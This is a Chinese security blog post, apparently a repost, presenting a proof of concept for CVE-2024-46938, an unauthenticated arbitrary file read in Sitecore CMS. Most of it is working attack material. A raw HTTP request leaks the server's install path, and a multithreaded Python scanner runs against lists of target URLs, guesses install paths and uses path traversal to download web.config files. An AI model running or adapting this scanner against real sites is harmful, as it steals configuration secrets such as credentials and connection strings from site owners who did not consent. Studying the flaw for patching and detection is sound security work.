CVE-2024-46938|Sitecore CMS未经身份验证任意文件读取漏洞(POC)

admin 2024年12月3日12:51:40评论83 views字数 6831阅读22分46秒阅读模式

0x00 前言

Sitecore Experience Platform™ (XP) 是一款基于.NET WebForm技术构建的内容管理系统,可以将客户数据、分析、人工智能与营销自动化功能相结合,在任何渠道上实时提供个性化的内容,从而在客户旅程中与客户建立良好的关系。

0x01 漏洞描述

在无需登陆的情况下构造恶意请求读取任意文件。

0x02 CVE编号

CVE-2024-46938

0x03 影响版本

在Sitecore Experience Platform(XP)、Experience Manager(XM)和Experience Commerce(XC)8.0初始版本至10.4初始版本中发现了问题。

0x04 漏洞详情

POC:

获取网站安装路径:

POST/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.ValidateXHtml?hdl=a HTTP/2Host: sitecoresc.dev.localAccept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 21__PAGESTATE=/../../a/
import argparseimport requestsimport tldextractimport urllib3import refrom tqdm import tqdmfrom concurrent.futures import ThreadPoolExecutor, as_completedfrom datetime import datetimefrom typing importList, Optionalurllib3.disable_warnings()classFileDisclosureScanner:def__init__(self):        self.results = []        self.fixed_paths = [r"C:\inetpub\wwwroot\sitecore\",r"C:\inetpub\wwwroot\sitecore1\",r"C:\inetpub\wwwroot\sxa\",r"C:\inetpub\wwwroot\XP0.sc\",r"C:\inetpub\wwwroot\Sitecore82\",r"C:\inetpub\wwwroot\Sitecore81\",r"C:\inetpub\wwwroot\Sitecore81u2\",r"C:\inetpub\wwwroot\Sitecore7\",r"C:\inetpub\wwwroot\Sitecore8\",r"C:\inetpub\wwwroot\Sitecore70\",r"C:\inetpub\wwwroot\Sitecore71\",r"C:\inetpub\wwwroot\Sitecore72\",r"C:\inetpub\wwwroot\Sitecore75\",r"C:\Websites\spe.dev.local\",r"C:\inetpub\wwwroot\SitecoreInstance\",r"C:\inetpub\wwwroot\SitecoreSPE_8\",r"C:\inetpub\wwwroot\SitecoreSPE_91\",r"C:\inetpub\wwwroot\Sitecore9\",r"C:\inetpub\wwwroot\sitecore93sc.dev.local\",r"C:\inetpub\wwwroot\Sitecore81u3\",r"C:\inetpub\wwwroot\sitecore9.sc\",r"C:\inetpub\wwwroot\sitecore901xp0.sc\",r"C:\inetpub\wwwroot\sitecore9-website\",r"C:\inetpub\wwwroot\sitecore93.sc\",r"C:\inetpub\wwwroot\SitecoreSite\",r"C:\inetpub\wwwroot\sc82\",r"C:\inetpub\wwwroot\SX93sc.dev.local\",r"C:\inetpub\SITECORE.sc\",r"C:\inetpub\wwwroot\"        ]defattempt_absolute_path_leak(self, base_url: str) -> Optional[str]:"""Attempt to discover absolute path through POST request."""        path_discovery_endpoint = f"{base_url}/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.ValidateXHtml?hdl=a"        headers = {"Accept": "*/*","Accept-Encoding": "gzip, deflate, br","Accept-Language": "en-US;q=0.9,en;q=0.8","User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36","Connection": "close","Cache-Control": "max-age=0","Content-Type": "application/x-www-form-urlencoded"        }        data = "__PAGESTATE=/../../x/x"try:            response = requests.post(path_discovery_endpoint, headers=headers, data=data, verify=False, timeout=5)if response.status_code == 500:match = re.search(r"Could not find a part of the path '([^']+)'", response.text)ifmatch:                    absolute_path = match.group(1)print(f"[+] Discovered absolute path for {base_url}: {absolute_path}")return absolute_pathexcept requests.RequestException:passreturnNonedefgenerate_dynamic_paths(self, base_url: str) -> List[str]:"""Generate dynamic paths based on URL components."""        extracted = tldextract.extract(base_url)        subdomain = extracted.subdomain        domain = extracted.domain        suffix = extracted.suffix        fqdn = f"{subdomain}.{domain}.{suffix}".strip(".")return [fr"C:\inetpub\{domain}.sc\",fr"C:\inetpub\{fqdn}.sc\",fr"C:\inetpub\{subdomain}.sc\",fr"C:\inetpub\{fqdn}\",fr"C:\inetpub\{subdomain}\",fr"C:\inetpub\{domain}\",fr"C:\inetpub\{domain}.sitecore\",fr"C:\inetpub\{fqdn}.sitecore\",fr"C:\inetpub\{subdomain}.sitecore\",fr"C:\inetpub\{domain}.website\",fr"C:\inetpub\{fqdn}.website\",fr"C:\inetpub\{subdomain}.website\",fr"C:\inetpub\{domain}.dev.local\",fr"C:\inetpub\{fqdn}.dev.local\",fr"C:\inetpub\{subdomain}.dev.local\",fr"C:\inetpub\{domain}sc.dev.local\",fr"C:\inetpub\{fqdn}sc.dev.local\",fr"C:\inetpub\{subdomain}sc.dev.local\"        ]defsend_request(self, base_url: str, path: str, progress_bar: tqdm) -> Optional[dict]:"""Send request to check for vulnerability."""        test_path = f"{path}sitecore\shell\client\..\..\..\web.config%23.js"        payload_url = f"{base_url}/-/speak/v1/bundles/bundle.js?f={test_path}"try:            response = requests.get(payload_url, verify=False, timeout=5)if response.status_code == 200and"<?xml version="in response.text and"<configuration>"in response.text:                result = {"url": base_url,"path": path,"content": response.text                }                self.results.append(result)return resultexcept requests.RequestException:passfinally:            progress_bar.update(1)returnNonedefprocess_url(self, base_url: str, progress_bar: tqdm) -> None:"""Process a single URL."""        leaked_path = self.attempt_absolute_path_leak(base_url)if leaked_path:            leaked_path = leaked_path.replace("x\x.txt", "")            paths_to_test = [leaked_path] + self.generate_dynamic_paths(base_url)else:            paths_to_test = self.fixed_paths + self.generate_dynamic_paths(base_url)with ThreadPoolExecutor(max_workers=5) as executor:            futures = [executor.submit(self.send_request, base_url, path, progress_bar) for path in paths_to_test]for future in as_completed(futures):                future.result()defsave_results(self, output_file: str) -> None:"""Save results to file."""if self.results:withopen(output_file, "w") as f:for result in self.results:                    f.write(f"URL: {result['url']}n")                    f.write(f"Path: {result['path']}n")                    f.write(f"Extracted File:n{result['content']}nn")defprint_results(self) -> None:"""Print all found results."""if self.results:print("n[+] Successfully exploited CVE-2024-46938 and obtained web.config:")for result in self.results:print(f"nTarget: {result['url']}")print(f"Local Path: {result['path']}")print("-" * 50)defmain():    parser = argparse.ArgumentParser(description="Test for absolute path disclosure vulnerability.")    parser.add_argument("--baseurl", help="Base URL of the target (e.g., https://example.com)")    parser.add_argument("--inputfile", help="File containing a list of URLs, one per line")    args = parser.parse_args()    urls = []if args.baseurl:        urls.append(args.baseurl)elif args.inputfile:withopen(args.inputfile, "r") as file:            urls = [line.strip() for line in file if line.strip()]else:        parser.error("Either --baseurl or --inputfile must be provided")    scanner = FileDisclosureScanner()    timestamp = datetime.now().strftime("%Y%m%d-%H%M%S")    output_file = f"output-{timestamp}.txt"# Calculate total requests for progress bar    total_requests = len(urls) * (len(scanner.fixed_paths) + len(scanner.generate_dynamic_paths(urls[0])))    with tqdm(total=total_requests, desc="Scanning", unit="request") as progress_bar:        with ThreadPoolExecutor(max_workers=10) as main_executor:            futures = {main_executor.submit(scanner.process_url, url, progress_bar): url                       for url in urls}            for future in as_completed(futures):                future.result()    if scanner.results:        scanner.save_results(output_file)        print(f"n[+] Found {len(scanner.results)} vulnerable targets")        print(f"[+] Results saved to: {output_file}")        scanner.print_results()    else:        print("n[-] No vulnerabilities found")if __name__ == "__main__":    main()

0x05 参考链接

https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003408

原文始发于微信公众号(信安百科):CVE-2024-46938|Sitecore CMS未经身份验证任意文件读取漏洞(POC)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月3日12:51:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-46938|Sitecore CMS未经身份验证任意文件读取漏洞(POC)https://cn-sec.com/archives/3454080.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息